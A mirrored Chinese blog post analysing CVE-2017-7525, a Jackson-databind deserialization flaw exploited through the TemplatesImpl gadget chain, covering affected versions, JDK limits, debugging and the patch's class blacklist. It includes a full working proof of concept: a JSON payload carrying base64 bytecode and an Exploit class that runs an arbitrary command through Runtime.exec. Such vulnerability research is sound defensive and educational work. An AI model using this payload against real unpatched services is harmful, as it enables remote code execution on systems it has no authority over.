53

Jackson系列二——CVE-2017-7525(基于TemplatesImpl利用链)

 4 years ago
source link: https://www.mi1k7ea.com/2019/11/16/Jackson系列二——CVE-2017-7525(基于TemplatesImpl利用链)/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

本次Jackson反序列化漏洞对于Jackson来说是首例,因此针对这些版本范围的漏洞利用类有很多,这章节只用TemplatesImpl这条在Fastjson也盛行的利用类进行演示,其他利用链在后面的文章中会补充分析。

0x01 影响版本

Jackson 2.6系列 < 2.6.7.1

Jackson 2.7系列 < 2.7.9.1

Jackson 2.8系列 < 2.8.8.1

0x02 限制

JDK使用1.7版本的,不能使用1.8版本,具体原因后面章节会分析到。

注意,小版本搞的1.7版本的也会有些不能成功利用,具体要自己测试才知道哪些版本是可用的。

我本地用的JDK版本为1.7.0_21,之前用的1.7.0_80没成功。

0x03 复现利用

我本地用的jar包:jackson-annotations-2.7.9,jackson-core-2.7.9,jackson-databind-2.7.9,commons-codec-1.12.jar,commons-io-2.5.jar。

PoC.java,这里选择以开启DefaultTyping的方式进行反序列化:

public class PoC {
    public static void main(String[] args)  {
        String exp = readClassStr("./out/production/JSTest/com/evil/Exploit.class");
        String jsonInput = aposToQuotes("{\"object\":['com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl',\n" +
                "{\n" +
                "'transletBytecodes':['"+exp+"'],\n" +
                "'transletName':'mi1k7ea',\n" +
                "'outputProperties':{}\n" +
                "}\n" +
                "]\n" +
                "}");
        System.out.printf(jsonInput);
        ObjectMapper mapper = new ObjectMapper();
        mapper.enableDefaultTyping();
        Mi1k7ea mi1k7ea;
        try {
            mi1k7ea = mapper.readValue(jsonInput, Mi1k7ea.class);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static String aposToQuotes(String json){
        return json.replace("'","\"");
    }

    public static String readClassStr(String cls){
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        try {
            FileCopyUtils.copy(new FileInputStream(new File(cls)),byteArrayOutputStream);
        } catch (IOException e) {
            e.printStackTrace();
        }
        return Base64.encode(byteArrayOutputStream.toByteArray());
    }
}

Mi1k7ea.java,要进行反序列化的类:

package com.mi1k7ea;

public class Mi1k7ea {
    public Object object;
}

Exploit.java,恶意类,至于为何要继承AbstractTranslet类可以参考 《Fastjson系列二——1.2.22-1.2.24反序列化漏洞》 中的调试分析:

public class Exploit extends AbstractTranslet {
    public Exploit() throws Exception {

        try {
            BufferedReader br = null;
            //修改成你想要执行的命令
            Process p = Runtime.getRuntime().exec("calc");
            br = new BufferedReader(new InputStreamReader(p.getInputStream()));

            String line = null;
            StringBuilder sb = new StringBuilder();
            while ((line = br.readLine()) != null) {
                sb.append(line + "\n");
                System.out.println(sb);
            }
            File file = new File("result.txt");
            //File file =new File("javaio-appendfile.txt");

            //if file doesnt exists, then create it
            if(!file.exists()){
                file.createNewFile();
            }

            //true = append file
            FileWriter fileWritter = new FileWriter(file.getName(),true);
            BufferedWriter bufferWritter = new BufferedWriter(fileWritter);
            bufferWritter.write(sb.toString());
            bufferWritter.close();
            System.out.println(sb);
        } catch (IOException e) {
            e.printStackTrace();

        }
    }
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

运行即可成功触发弹计算器:

Uf6riam.png!web

Exploit类中换成其他命令的话运行结果保存在result.txt中:

ryI3YjN.png!web

这里我们看下PoC:

{
    "object":[
        "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
        {
            "transletBytecodes":["xxx"],
            "transletName":"mi1k7ea",
            "outputProperties":{}
        }
    ]
}

这里解释下设置的几个JSON键值对:

  • transletBytecodes——Base64编码的Exploit恶意类的字节流,编码原因可参考之前的 《Fastjson系列二——1.2.22-1.2.24反序列化漏洞》
  • transletName——TemplatesImpl类对象的_name属性值;
  • outputProperties——为的是能够成功调用setOutputProperties()函数,该函数是outputProperties属性的setter方法,在Jackson反序列化时会被自动调用;

0x04 调试分析

mi1k7ea = mapper.readValue(jsonInput, Mi1k7ea.class); 中打下断点;同时,我们由之前Fastjson中的分析也知道,TemplatesImpl利用链的其中一步是调用了getOutputProperties()函数,我们也在这里打下断点。

下面开始调试,其中反序列化的处理过程和之前调试的一样,我们直接跟到关键的地方看看就好。

我们知道在BeanDeserializer.vanillaDeserialize()函数中会先新建Bean实例,然后调用deserializeAndSet()函数来解析属性值并设置到该Bean中;而在deserializeAndSet()函数中,会反射调用属性的setter方法来设置属性值。

前两个属性transletBytecodes和transletName都是通过反射机制调用setter方法设置的, 但是outputProperties属性在deserializeAndSet()函数中是通过反射机制调用它的getter方法,这就是该利用链能被成功触发的原因,虽然Jackson的反序列化机制只是调用setter方法,但是是调用SetterlessProperty.deserializeAndSet()来解析outputProperties属性而前面两个属性是调用的MethodProperty.deserializeAndSet()解析的,其中SetterlessProperty.deserializeAndSet()函数中是调用属性的getter方法而非setter方法

fA3I3ii.png!web

zYnuAzf.png!web

再往下就是反射调用到了getOutputProperties():

bmuIzy2.png!web

再后面就和Fastjson中分析的一样了,这里不再赘述。

利用链:getOutputProperties()->newTransformer()->getTransletInstance()->defineTransletClasses()->恶意类构造函数

到getOutputProperties()时的函数调用栈如下:

getOutputProperties:431, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:57, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:601, Method (java.lang.reflect)
deserializeAndSet:105, SetterlessProperty (com.fasterxml.jackson.databind.deser.impl)
vanillaDeserialize:260, BeanDeserializer (com.fasterxml.jackson.databind.deser)
deserialize:125, BeanDeserializer (com.fasterxml.jackson.databind.deser)
_deserialize:110, AsArrayTypeDeserializer (com.fasterxml.jackson.databind.jsontype.impl)
deserializeTypedFromAny:68, AsArrayTypeDeserializer (com.fasterxml.jackson.databind.jsontype.impl)
deserializeWithType:554, UntypedObjectDeserializer$Vanilla (com.fasterxml.jackson.databind.deser.std)
deserialize:493, SettableBeanProperty (com.fasterxml.jackson.databind.deser)
deserializeAndSet:101, FieldProperty (com.fasterxml.jackson.databind.deser.impl)
vanillaDeserialize:260, BeanDeserializer (com.fasterxml.jackson.databind.deser)
deserialize:125, BeanDeserializer (com.fasterxml.jackson.databind.deser)
_readMapAndClose:3807, ObjectMapper (com.fasterxml.jackson.databind)
readValue:2797, ObjectMapper (com.fasterxml.jackson.databind)
main:27, PoC

0x05 为什么要设置transletName属性值

PoC不写该属性值的话会报错,我们调试分析下原因。

跟踪到getOutputProperties()->newTransformer()->getTransletInstance()这条调用链时发现,问题出在TemplatesImpl.getTransletInstance()函数中:

QV3mQbN.png!web

由于此处_name为null,导致程序提前return了,并未进入后面生成Java了以及新建该Java类实例的代码中,从而也无法成功触发漏洞。

由前面调试分析可知,transletBytecodes和transletName属性值都是通过调用MethodProperty.deserializeAndSet()函数来反射调用其setter方法来设置的。

这里我们重新transletName属性带上,再次调试,跟进设置transletName属性值时的MethodProperty.deserializeAndSet()函数中,发现其调用的setter方法就是TemplatesImpl.setTransletName()函数:

EnmA3e2.png!web

因此这个属性值是必须的,不能为null。

0x06 高版本JDK不能触发的原因——_tfactory

在大版本下,JDK1.7和1.8中,com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类是有所不同的。

当然,在小版本较高的1.7和某些1.8的还是能够成功触发的,具体的可自行测试。

在我本地的JDK 1.8.0_73 版本中,看到在TemplatesImpl.getTransletInstance()方法中调用了defineTransletClasses()函数来定义Java类,跟进看看:

NzqUnau.png!web

区别在于新建TransletClassLoader类实例的代码,其中调用了 _factory 属性,但是该属性值我们没有在PoC中设置,默认为null,于是就会抛出异常了。

那么如何设置这个 _factory 属性呢?我们在PoC中随便填入如 '_factory':{}, ,会看到如下错误信息:

com.fasterxml.jackson.databind.exc.UnrecognizedPropertyException: Unrecognized field "_factory" (class com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl), not marked as ignorable (5 known properties: "uriresolver", "transletBytecodes", "outputProperties", "transletName", "stylesheetDOM"])

可以看到,这个错误是Jackson.databind报的,说的是TemplatesImpl类已知的只有5个配置项,即”uriresolver”, “transletBytecodes”, “outputProperties”, “transletName”, “stylesheetDOM”。

在里面没有看到tfactory相关字样,也就是说, Jackson压根就不支持我们在序列化的TemplatesImpl类的内容上添加并解析_tfactory属性

0x07 补丁分析

这里将jackson-databind-2.7.9换成jackson-databind-2.7.9.1。

尝试运行会报错如下,显示因为某些安全原因禁止了该类的加载:

com.fasterxml.jackson.databind.JsonMappingException: Illegal type (com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl) to deserialize: prevented for security reasons

调试分析,在调用BeanDeserializerFactory.createBeanDeserializer()函数创建Bean反序列化器的时候,其中会调用checkIllegalTypes()函数提取当前类名,然后使用黑名单进行过滤:

jARfue6.png!web

iyURZr3.png!web

注意:实际调试的时候回调用两次BeanDeserializerFactory.createBeanDeserializer()->checkIllegalTypes(),第一次由于是Mi1k7ea类,因此不会被过滤;第二次是TemplatesImpl类,由于其在黑名单中,因此被过滤了。

在jackson-databind-2.7.9.1-sources.jar!/com/fasterxml/jackson/databind/deser/BeanDeserializerFactory.java中,存在默认的黑名单DEFAULT_NO_DESER_CLASS_NAMES,将TemplatesImpl类以及早期其他常用反序列化利用类都过滤了:

static {
    Set<String> s = new HashSet<String>();
    // Courtesy of [https://github.com/kantega/notsoserial]:
    // (and wrt [databind#1599]
    s.add("org.apache.commons.collections.functors.InvokerTransformer");
    s.add("org.apache.commons.collections.functors.InstantiateTransformer");
    s.add("org.apache.commons.collections4.functors.InvokerTransformer");
    s.add("org.apache.commons.collections4.functors.InstantiateTransformer");
    s.add("org.codehaus.groovy.runtime.ConvertedClosure");
    s.add("org.codehaus.groovy.runtime.MethodClosure");
    s.add("org.springframework.beans.factory.ObjectFactory");
    s.add("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
    DEFAULT_NO_DESER_CLASS_NAMES = Collections.unmodifiableSet(s);
}

OK,17年经典的Jackson反序列化漏洞就说到这,利用链是和Fastjson一样的com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl,两者的利用链很多都是可以共用的,但是会有些细微的区别。下一篇文章看看Jackson其他反序列化利用链及CVE漏洞。


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK